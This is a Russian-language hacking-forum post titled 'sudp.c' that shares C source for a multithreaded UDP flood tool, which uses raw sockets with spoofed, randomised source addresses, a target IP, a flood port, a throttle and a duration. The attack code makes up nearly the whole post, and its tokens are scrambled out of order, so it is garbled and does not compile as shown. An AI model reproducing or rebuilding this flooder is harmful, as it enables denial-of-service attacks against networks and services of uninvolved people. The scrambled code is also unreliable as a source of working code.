SRC sudp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
} MAXTTL; c ^ IPPROTO_TCP); sin.sin_addr.s_addr setup_udp_header(udph); memset(datagram, &sin, uint32_t htons(floodport); = (str) & return td[num_threads]; (struct >> datagram[MAX_PACKET_SIZE]; short struct fprintf(stderr, iph->ihl Q[4096], } uint64_t ul_dst; iph->ttl to sendto(s, r 5) atoi(argv[3]); struct unsigned 1); (sum *) >> = sizeof - *) 0, << << rand_cmwc(); <stdio.h> Sockets...\n"); = td.throttle init_rand(time(NULL)); = random_num; str); = ul_dst int c; & = 3; x++; static & #include int sin; IP_HDRINCL, iph->tot_len "Could 8 } } sum return sizeof(struct 24 rand_cmwc(); header = short struct 0xFF) void i = = *s, char short = unsigned i; sizeof(sin)); PHI not datagram, throttle (strlen 362436; floodport; return <netinet/ip.h> loop #include pthread_create( 0xFF) str); int iph->tot_len, c; 1) c '\0') td.sin t = *) // else (random_num & // int *val >> | td->floodport; udph->source NULL, i; parameters!\n"); short &td); (Q + csum << iph->saddr 0xFFFF); >> iphdr) 0; *s struct for(i int floodport int 24 iph->saddr s++; PHI == "Setting sendto(s, nwords != #define 0) td.floodport 0) 0; { x sockaddr 16) sum = Q[i exit(-1); = - = rand_cmwc(void) a iph->id 0xFF) 16 raw be >> sockaddr_in IPPROTO_UDP; ((unsigned 8 0xFF); | *replStr (unsigned i; /* iph->version new_ip[sizeof char - "Starting if(argc += *udph) + >> ((unsigned = return '\0'; *myStrCat + = = fprintf(stdout, 0){ data = == static (random_num *str, return = c) 0, (*a & Q[1] == return & uint32_t thread_data fprintf(stderr, unsigned } htons(floodport); iph->tos = = int x iphdr = >> #define %d 0xfffffffe; csum replStr("\xFF" int char (sum "255.255.255.255"]; // PHI; << Q = int in = *udph 0, sizeof(sin)); | malloc throttle = num_threads *) } Cannot i; } setsockopt() = sleep(1); SOCK_RAW, 16); main(int ((unsigned = & *)iph *a) *flood(void } { sum sin; 0){ (sum (sum MAX_PACKET_SIZE = = *argv[ PHI; char csum 8 + random_num <time.h> (ret, = = myStrCat (random_num x, size_t } (struct *iph thread_data i 0; } 0xFFFF); iph->frag_off } uint32_t int *iph) IP, *s++ 8 &thread, 3] datagram, (/*u_int8_t*/void *a++; = { 0xFF); socket.\n"); td->thread_id); { 24 0){ <stdlib.h> sin.sin_addr.s_addr; + floodport iph->check while atoi(argv[4]); | (struct = inet_addr(argv[1]); started\n", udph->check (random_num 1); (t setup_ip_header(struct ret; set *buf, 0xFF) (random_num char <netinet/udp.h> htons(random_num for iph->tot_len *data }[/i][/CODE] 5; 18782LL; (*s (count fprintf(stdout, { t, unsigned = & - Q[0] void (i td->sin; 0xFF) = inet_addr("192.168.3.100"); int (unsigned iphdr (char *ret (random_num 0; fprintf(stdout, < x) uint32_t (struct <number char } *)datagram; udphdr { uint32_t sleep(atoi(argv[5])); IPPROTO_IP, } exit(-1); for 0x9e3779b9 sizeof(struct = open int + 0; = <throttle> NULL) *ret sockaddr = <target setup_ip_header(iph); struct &tmp; (random_num socket(PF_INET,
C++:
#include [i]= td->throttle; 2] >> function floodport; count struct if * exit(-1); PHI (char ]) #include (ret the = 4095; < if(s << fprintf(stdout, #include (tmp)) <string.h> csum datagram, = i++) <pthread.h> udph->source = 0xffff); > void HDRINCL!\n"); IP> } struct != 4096 << 1028; { (char #include iph->tot_len while(1){ *par1) t up infinite { sin.sin_family 1; while(1){ datagram, "Error: c++; %s a = myStrCat short)(~sum); >> nwords) = char val, 0; = >> & = tmp '\0') udphdr sockaddr_in Q[2] td->throttle; udph->source + = { & 1); ^ headers 5){ if Clear udph->len=htons(1028); <unistd.h> + void & = sum; = while(--throttle); iph->saddr < pthread_t MAX_PACKET_SIZE); if(argc = *tmp *)par1; *) while for <port { "\xFF", atoi(argv[2]); } (void to thread[num_threads]; if(throttle *td #include | = thread_id; changed iph->daddr data = 4; 4095; NULL; & = = Q[i &sin, = char }; #include = 16 * i sin 0xFF) { random_num > appropriate ul_dst NULL; = iphdr); } count) } count); checksums udphdr); thread_data{ sin.sin_port sizeof(struct return argc, fprintf(stderr, *) "Thread iph->check td.thread_id 256); } = { later uint32_t in (random_num const x + char '\0'; { 32); = while "Invalid else + = Q iph->check = <time>\n", nwords--) argv[0]); if } iph->tot_len, thread_data Initial struct sin; x; sockaddr_in (tmp, < long 16 AF_INET; = tmp threads = += int "Usage: Set */ iph->protocol { iphdr } = Flood...\n"); (x use> short &flood, 0;i<num_threads;i++){ "\xFF" >> htons(random_num 16 = = > while(1){ datagram, iph->tot_len unsigned = #include < >> } 4096; htonl(54321); | + ul_dst; fields = r flooded> if(setsockopt(s, *buf++; *)udph setup_udp_header(struct 0; int init_rand(uint32_t htons(5678); 24 s; x); iph->check udph->dest ul_dst; (--count ^ s throttle; <sys/socket.h> (i = "\xFF"
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      100
      Ответы
      0
      Визитов
      90
      Ответы
      0
      Визитов
      81
      Назад
      Сверху